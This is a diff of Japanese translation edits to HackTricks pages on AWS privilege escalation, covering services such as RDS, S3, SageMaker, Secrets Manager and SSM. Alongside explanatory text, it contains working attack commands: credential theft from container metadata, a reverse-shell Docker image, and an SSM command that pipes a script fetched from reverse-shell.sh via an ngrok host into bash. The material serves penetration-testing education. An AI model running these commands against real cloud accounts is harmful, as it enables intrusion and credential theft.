put-instance-public-ports \ --instance-name MEAN-2 \ --port-infos fromPort=22,protocol=TCP,toPort=22 ``` -**潜在的な影響:** 機密ポートへのアクセス。 +**潜在的な影響:** 機密ポートにアクセスする。 ### `lightsail:SetResourceAccessForBucket` -この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを付与することを可能にします。 +この権限は、追加の資格情報なしでインスタンスにバケットへのアクセスを許可します。 ```bash aws set-resource-access-for-bucket \ --resource-name \ --bucket-name \ --access allow ``` -**潜在的な影響:** 機密情報を含むバケットへの新しいアクセスの可能性。 +**潜在的な影響:** 機密情報を含むバケットへの新たなアクセスの可能性。 ### `lightsail:UpdateBucket` -この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます。 +この権限を持つ攻撃者は、自分のAWSアカウントにバケットへの読み取りアクセスを付与したり、バケットを誰でも公開にすることができます: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -111,11 +111,11 @@ aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**潜在的な影響:** プライベートECRからの機密情報の取得 +**潜在的な影響:** プライベートECRから機密情報を取得する ### `lightsail:CreateDomainEntry` -この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントさせることができる(サブドメインの乗っ取り)、または、ドメインからのメールを偽装することを可能にするSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。 +この権限を持つ攻撃者は、サブドメインを作成し、自分のIPアドレスにポイントすることができる(サブドメインの乗っ取り)、またはドメインからのメールを偽装することを許可するSPFレコードを作成することができる、さらにはメインドメインを自分のIPアドレスに設定することもできる。 ```bash aws lightsail create-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 183e6ffef..9a578e9cf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,7 +4,7 @@ ### `mediapackage:RotateChannelCredentials` -チャンネルの最初のIngestEndpointのユーザー名とパスワードを変更します。(このAPIはRotateIngestEndpointCredentialsのために非推奨です) +Channelの最初のIngestEndpointのユーザー名とパスワードを変更します。(このAPIはRotateIngestEndpointCredentialsのために非推奨です) ```bash aws mediapackage rotate-channel-credentials --id ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 4384544f5..670a6e56c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -4,7 +4,7 @@ ## MQ -MQに関する詳細情報は、以下を確認してください: +MQに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-mq-enum.md @@ -12,7 +12,7 @@ MQに関する詳細情報は、以下を確認してください: ### `mq:ListBrokers`, `mq:CreateUser` -これらの権限を持つことで、**ActimeMQブローカーに新しいユーザーを作成できます**(これはRabbitMQでは機能しません): +これらの権限を使用すると、**ActiveMQブローカーに新しいユーザーを作成できます**(これはRabbitMQでは機能しません): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username @@ -21,22 +21,22 @@ aws mq create-user --broker-id --console-access --password --use ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` -これらの権限を持つと、**ActiveMQブローカーに新しいユーザーを作成できます**(これはRabbitMQでは機能しません): +これらの権限を持つことで、**ActiveMQブローカーに新しいユーザーを作成することができます**(これはRabbitMQでは機能しません): ```bash aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` -**潜在的な影響:** ActiveMQを通じて機密情報にアクセスする +**潜在的な影響:** ActiveMQを通じて機密情報にアクセス ### `mq:ListBrokers`, `mq:UpdateBroker` -ブローカーが**ActiveMQ**で**LDAP**を使用して認証を行っている場合、攻撃者が**制御するもの**に**LDAPサーバーの設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。 +ブローカーが**ActiveMQ**で**LDAP**を使用して認証している場合、攻撃者が制御する**LDAPサーバー**に使用される**設定**を**変更**することが可能です。これにより、攻撃者は**LDAPを通じて送信されるすべての資格情報を盗む**ことができます。 ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -もしActiveMQで使用されている元の認証情報を見つけることができれば、MitMを実行し、認証情報を盗み、元のサーバーでそれを使用し、応答を送信することができます(おそらく盗まれた認証情報を再利用するだけでこれを行うことができます)。 +もしActiveMQで使用されている元の認証情報を見つけることができれば、MitM攻撃を実行し、認証情報を盗み、元のサーバーでそれを使用し、レスポンスを送信することができます(盗まれた認証情報を再利用するだけでこれを行うことができるかもしれません)。 **潜在的な影響:** ActiveMQの認証情報を盗む diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 685ac06a9..827f2204e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -4,7 +4,7 @@ ## MSK -MSK (Kafka) に関する詳細情報は、以下を参照してください: +MSK (Kafka) に関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-msk-enum.md @@ -12,11 +12,11 @@ MSK (Kafka) に関する詳細情報は、以下を参照してください: ### `msk:ListClusters`, `msk:UpdateSecurity` -これらの **権限** と **kafka ブローカーが存在する VPC へのアクセス** があれば、**None 認証** を追加してアクセスすることができます。 +これらの**権限**と**kafka ブローカーが存在する VPC へのアクセス**があれば、**None 認証**を追加してアクセスすることができます。 ```bash aws msk --client-authentication --cluster-arn --current-version ``` -VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできないからです**。公開されている場合、**SASL/SCRAM**認証が使用されていると、**秘密を読む**ことができるかもしれません(秘密を読むには追加の権限が必要です)。\ +VPCへのアクセスが必要です。なぜなら、**Kafkaを公開でNone認証を有効にすることはできない**からです。公開されている場合、**SASL/SCRAM**認証が使用されていると、**シークレットを読み取る**ことができる可能性があります(シークレットを読み取るには追加の権限が必要です)。\ **IAMロールベースの認証**が使用され、**Kafkaが公開されている**場合でも、これらの権限を悪用してアクセスするための権限を与えることができます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 3db3ac5b1..911b13517 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -4,7 +4,7 @@ ## RDS - リレーショナルデータベースサービス -RDSに関する詳細情報は以下を確認してください: +RDSに関する詳細情報は以下を確認してください: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md @@ -12,7 +12,7 @@ RDSに関する詳細情報は以下を確認してください: ### `rds:ModifyDBInstance` -その権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます: +この権限を持つ攻撃者は**マスターユーザーのパスワードを変更**し、データベース内のログインを行うことができます: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -29,7 +29,7 @@ psql postgresql://:@:5432/ > [!WARNING] > データベースに**接続する**ことができる必要があります(通常、内部ネットワークからのみアクセス可能です)。 -**潜在的な影響:** データベース内の機密情報を見つけることができます。 +**潜在的な影響:** データベース内の機密情報を見つけること。 ### rds-db:connect @@ -40,17 +40,17 @@ psql postgresql://:@:5432/ #### Postgresql (Aurora) > [!TIP] -> **`SELECT datname FROM pg_database;`**を実行すると、**`rdsadmin`**というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。 +> **`SELECT datname FROM pg_database;`** を実行すると、**`rdsadmin`** というデータベースが見つかる場合、**AWS postgresqlデータベース**内にいることがわかります。 まず、このデータベースが他のAWSサービスにアクセスするために使用されているかどうかを確認できます。インストールされている拡張機能を見て確認できます: ```sql SELECT * FROM pg_extension; ``` -もし**`aws_s3`**のようなものを見つけたら、このデータベースが**S3に対する何らかのアクセスを持っている**と考えることができます(**`aws_ml`**や**`aws_lambda`**などの他の拡張もあります)。 +もし**`aws_s3`**のようなものを見つけた場合、このデータベースは**S3に対する何らかのアクセス権を持っている**と考えられます(**`aws_ml`**や**`aws_lambda`**などの他の拡張子もあります)。 -また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターに関連付けられたIAMロールがあるかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えることができます。**ロールの名前**(またはロールの**権限**を取得できる場合)に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。 +また、**`aws rds describe-db-clusters`**を実行する権限がある場合、**`AssociatedRoles`**フィールドで**クラスターにIAMロールが付与されているかどうか**を確認できます。もしあれば、そのデータベースは**他のAWSサービスにアクセスするために準備されている**と考えられます。**ロールの名前**(またはロールの**権限**を取得できる場合)に基づいて、データベースがどのような追加アクセスを持っているかを**推測**することができます。 -さて、**バケット内のファイルを読む**には、フルパスを知っている必要があります。次のようにして読むことができます: +さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます: ```sql // Create table CREATE TABLE ttemp (col TEXT); @@ -85,13 +85,13 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') #### Mysql (Aurora) > [!TIP] -> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えられます。 +> mysql 内で **`SELECT User, Host FROM mysql.user;`** クエリを実行し、**`rdsadmin`** というユーザーがいる場合、あなたは **AWS RDS mysql db** 内にいると考えることができます。 mysql 内で **`show variables;`** を実行し、**`aws_default_s3_role`**、**`aurora_load_from_s3_role`**、**`aurora_select_into_s3_role`** などの変数に値がある場合、データベースは S3 データにアクセスする準備ができていると考えられます。 -また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連付けられたロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。 +また、**`aws rds describe-db-clusters`** を実行する権限がある場合、クラスターに **関連するロール** があるかどうかを確認できます。これは通常、AWS サービスへのアクセスを意味します。 -さて、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます: +今、**バケット内のファイルを読むためには**、フルパスを知っている必要があります。次のようにして読むことができます: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,7 +100,7 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。 +`rds:AddRoleToDBCluster` および `iam:PassRole` の権限を持つ攻撃者は、**既存の RDS インスタンスに指定されたロールを追加**することができます。これにより、攻撃者は **機密データにアクセス**したり、インスタンス内のデータを変更したりすることができる可能性があります。 ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` @@ -124,28 +124,28 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: テスト -`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付した新しい RDS インスタンスを作成することができます**。攻撃者はその後、**機密データにアクセスしたり**、インスタンス内のデータを変更したりする可能性があります。 +`rds:CreateDBInstance` と `iam:PassRole` の権限を持つ攻撃者は、**指定されたロールを添付して新しい RDS インスタンスを作成**できます。攻撃者はその後、**機密データにアクセス**したり、インスタンス内のデータを変更したりする可能性があります。 > [!WARNING] -> 添付するロール/インスタンスプロファイルのいくつかの要件 (詳細は [**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) を参照): +> 添付するロール/インスタンスプロファイルのいくつかの要件([**こちら**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)から): -> - プロファイルはあなたのアカウントに存在する必要があります。 +> - プロファイルはあなたのアカウントに存在しなければなりません。 > - プロファイルには、Amazon EC2 が引き受ける権限を持つ IAM ロールが必要です。 > - インスタンスプロファイル名と関連する IAM ロール名は、プレフィックス `AWSRDSCustom` で始まる必要があります。 ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**潜在的影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 +**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 ### `rds:AddRoleToDBInstance`, `iam:PassRole` -`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加する**ことができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。 +`rds:AddRoleToDBInstance`および`iam:PassRole`の権限を持つ攻撃者は、**既存のRDSインスタンスに指定されたロールを追加**することができます。これにより、攻撃者は**機密データにアクセス**したり、インスタンス内のデータを変更したりすることが可能になります。 > [!WARNING] -> このためには、DBインスタンスはクラスターの外にある必要があります。 +> DBインスタンスは、これを行うためにクラスターの外にある必要があります。 ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 +**潜在的な影響**: RDSインスタンス内の機密データへのアクセスまたはデータの不正な変更。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index e0fa02709..abca45290 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -82,11 +82,11 @@ from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` > [!WARNING] -> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。そうでない場合は、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定してください。 +> データを提供するAmazon DynamoDBテーブルは、クラスターと同じAWSリージョンに作成する必要があります。さもなければ、[REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region)オプションを使用して、Amazon DynamoDBテーブルが存在するAWSリージョンを指定する必要があります。 ### EMR -[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html)を確認してください。 +チェック [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 1173e85aa..297aa8719 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ 興味深いバケットに対してこれらの権限を持つ攻撃者は、リソースをハイジャックし、権限を昇格させることができるかもしれません。 -例えば、"cf-templates-nohnwfax6a6i-us-east-1"というクラウドフォーメーションバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます: +例えば、"cf-templates-nohnwfax6a6i-us-east-1"という名前のcloudformationバケットに対してこれらの**権限を持つ攻撃者**は、デプロイメントをハイジャックすることができます。アクセスは以下のポリシーで付与できます: ```json { "Version": "2012-10-17", @@ -34,25 +34,25 @@ ] } ``` -そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるからです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、**そのバケットの内容をハイジャック**することができます。 +そして、ハイジャックが可能なのは、**テンプレートがバケットにアップロードされる瞬間から**、**テンプレートがデプロイされる瞬間までの小さな時間ウィンドウ**があるためです。攻撃者は、自分のアカウントに**lambda function**を作成し、**バケット通知が送信されたときにトリガーされる**ようにし、その**バケット**の**コンテンツ**を**ハイジャック**することができます。 ![](<../../../images/image (174).png>) -Pacuモジュール [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) を使用して、この攻撃を自動化できます。\ +Pacuモジュール[`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection)を使用して、この攻撃を自動化できます。\ 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` これらは、**S3にオブジェクトを取得およびアップロードするための権限**です。AWS内(およびその外)でいくつかのサービスが、**設定ファイル**を保存するためにS3ストレージを使用しています。\ -それらに**読み取りアクセス**を持つ攻撃者は、**機密情報**を見つける可能性があります。\ +それらに**読み取りアクセス**を持つ攻撃者は、そこに**機密情報**を見つけるかもしれません。\ それらに**書き込みアクセス**を持つ攻撃者は、**データを変更してサービスを悪用し、特権を昇格させようとする**ことができます。\ 以下はそのいくつかの例です: -- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行**することができます。 +- EC2インスタンスが**ユーザーデータをS3バケットに保存している**場合、攻撃者はそれを変更して**EC2インスタンス内で任意のコードを実行する**ことができます。 ### `s3:PutBucketPolicy` -攻撃者は、**同じアカウントからである必要があり**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。 +攻撃者は、**同じアカウントからでなければならず**、そうでない場合は`The specified method is not allowed will trigger`というエラーが発生します。この権限を持つ攻撃者は、バケットに対して自分自身により多くの権限を付与し、読み取り、書き込み、変更、削除、バケットを公開することができるようになります。 ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -110,7 +110,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket :role/service-role/ ``` -レスポンスには、作成されたノートブックインスタンスのARNを含む`NotebookInstanceArn`フィールドが含まれる必要があります。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了した際にアクセスするためのURLを生成できます: +レスポンスには `NotebookInstanceArn` フィールドが含まれており、これは新しく作成されたノートブックインスタンスのARNを含みます。次に、`create-presigned-notebook-instance-url` APIを使用して、ノートブックインスタンスが準備完了次第アクセスするためのURLを生成できます。 ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -ブラウザでURLに移動し、右上の\`Open JupyterLab\`をクリックし、次に「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。 +ブラウザでURLに移動し、右上の \`Open JupyterLab\` をクリックします。次に、「Launcher」タブまでスクロールし、「Other」セクションの下にある「Terminal」ボタンをクリックします。 これで、IAMロールのメタデータ資格情報にアクセスすることが可能です。 @@ -25,7 +25,7 @@ aws sagemaker create-presigned-notebook-instance-url \ ### `sagemaker:CreatePresignedNotebookInstanceUrl` -もしJupyter **ノートブックがすでに実行中**であり、\`sagemaker:ListNotebookInstances\`を使用してそれらをリストできる場合(または他の方法で発見できる場合)、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。 +もしJupyter **ノートブックがすでに実行中**であり、`sagemaker:ListNotebookInstances`を使用してそれらをリストできる場合(または他の方法で発見できる場合)、それらのためのURLを**生成し、アクセスし、前の技術で示されたように資格情報を盗むことができます**。 ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` @@ -49,16 +49,16 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**それにロールが付与されます**。したがって、攻撃者はそのロールの資格情報を盗むことができます。 +これらの権限を持つ攻撃者は、**任意のコンテナを実行する**トレーニングジョブを作成でき、**ロールが添付された**状態になります。したがって、攻撃者はそのロールの資格情報を盗むことができます。 > [!WARNING] -> このシナリオは、攻撃者がrevシェルまたは資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。 +> このシナリオは、攻撃者がリバースシェルや資格情報を直接送信するDockerイメージを生成する必要があるため、前のシナリオよりも悪用が難しいです(トレーニングジョブの設定で開始コマンドを指定することはできません)。 > > ```bash > # Dockerイメージを作成 > mkdir /tmp/rev > ## トレーニングジョブが「train」という実行可能ファイルを呼び出すことに注意してください -> ## だから、revシェルを/bin/trainに置いています +> ## だから、リバースシェルを/bin/trainに置いています > ## の値を設定してください > cat > /tmp/rev/Dockerfile < FROM ubuntu @@ -94,10 +94,10 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**それに役割を付けた任意のコンテナ**を実行できる可能性があります。\ -&#xNAN;_I 時間がなかったために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_ +その権限を持つ攻撃者は(潜在的に)**ハイパーパラメータトレーニングジョブ**を作成し、**任意のコンテナ**をそれに**ロールを付けて**実行できる可能性があります。\ +&#xNAN;_I 時間がないために悪用していませんが、以前の悪用と似ているようです。悪用の詳細を含むPRを送信してください。_ -## 参考文献 +## 参照 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 41a7f30b9..888387a8f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -Secrets Manager についての詳細は、以下を確認してください: +Secrets Managerに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,15 +12,15 @@ Secrets Manager についての詳細は、以下を確認してください: ### `secretsmanager:GetSecretValue` -この権限を持つ攻撃者は、AWS **Secretsmanager** 内の **シークレットに保存された値** を取得できます。 +この権限を持つ攻撃者は、AWS **Secretsmanager**内の**シークレットに保存された値**を取得できます。 ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` -**潜在的な影響:** AWS Secrets Manager サービス内の高機密データにアクセスすること。 +**潜在的な影響:** AWS Secrets Manager サービス内の高感度データにアクセスすること。 ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -前述の権限を持つことで、**他のプリンシパル/アカウント(外部も含む)**に**シークレット**へのアクセスを**付与する**ことが可能です。KMS キーで暗号化されたシークレットを**読み取る**ためには、ユーザーが**KMS キーへのアクセス**も持っている必要があることに注意してください(詳細は[KMS Enum ページ](../aws-services/aws-kms-enum.md)を参照)。 +前述の権限を持つことで、**他のプリンシパル/アカウント(外部も含む)**に**シークレット**へのアクセスを**付与する**ことが可能です。KMS キーで暗号化されたシークレットを**読み取る**ためには、ユーザーが**KMS キーへのアクセス**も持っている必要があることに注意してください(詳細は [KMS Enum page](../aws-services/aws-kms-enum.md) を参照)。 ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 58ac969d2..1c3234eaf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-sns-enum.md @@ -16,22 +16,22 @@ ```bash aws sns publish --topic-arn --message ``` -**潜在的な影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 +**潜在的影響**: 脆弱性の悪用、データの破損、意図しないアクション、またはリソースの枯渇。 ### `sns:Subscribe` -攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨げたりする可能性があります。 +攻撃者はSNSトピックにサブスクライブすることで、メッセージへの不正アクセスを得たり、トピックに依存するアプリケーションの正常な機能を妨害したりする可能性があります。 ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` -**潜在的な影響**: メッセージへの不正アクセス(機密情報)、影響を受けたトピックに依存するアプリケーションのサービス中断。 +**潜在的影響**: メッセージへの不正アクセス(機密情報)、影響を受けたトピックに依存するアプリケーションのサービス中断。 ### `sns:AddPermission` -攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を得る可能性があります。 +攻撃者は、不正なユーザーやサービスにSNSトピックへのアクセスを付与し、さらなる権限を取得する可能性があります。 ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**潜在的な影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。 +**潜在的影響**: 不正なユーザーやサービスによるトピックへの不正アクセス、メッセージの露出、またはトピックの操作、トピックに依存するアプリケーションの正常な機能の妨害。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index af16f4cd2..1bab206ed 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -4,7 +4,7 @@ ## SQS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -16,11 +16,11 @@ ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` -**潜在的な影響**: 不正なユーザーやサービスによるキューへの不正アクセス、メッセージの露出、またはキューの操作。 +**潜在的な影響**: キューへの不正アクセス、メッセージの露出、または不正なユーザーやサービスによるキューの操作。 ### `sqs:SendMessage` , `sqs:SendMessageBatch` -攻撃者は、SQSキューに悪意のあるまたは望ましくないメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。 +攻撃者は、SQSキューに悪意のあるまたは不要なメッセージを送信する可能性があり、データの破損を引き起こしたり、意図しないアクションをトリガーしたり、リソースを枯渇させたりする可能性があります。 ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 9529fbb0d..e33d681a0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -12,7 +12,7 @@ SSMに関する詳細情報は、以下を確認してください: ### `ssm:SendCommand` -**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSMエージェントが実行されているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。 +**`ssm:SendCommand`** の権限を持つ攻撃者は、Amazon SSM Agentを実行しているインスタンスで**コマンドを実行**し、**その中で実行されているIAMロールを侵害**することができます。 ```bash # Check for configured instances aws ssm describe-instance-information @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -もしこの技術を使用して、すでに侵害されたEC2インスタンス内で権限を昇格させる場合は、次のコマンドでローカルにrevシェルをキャプチャできます: 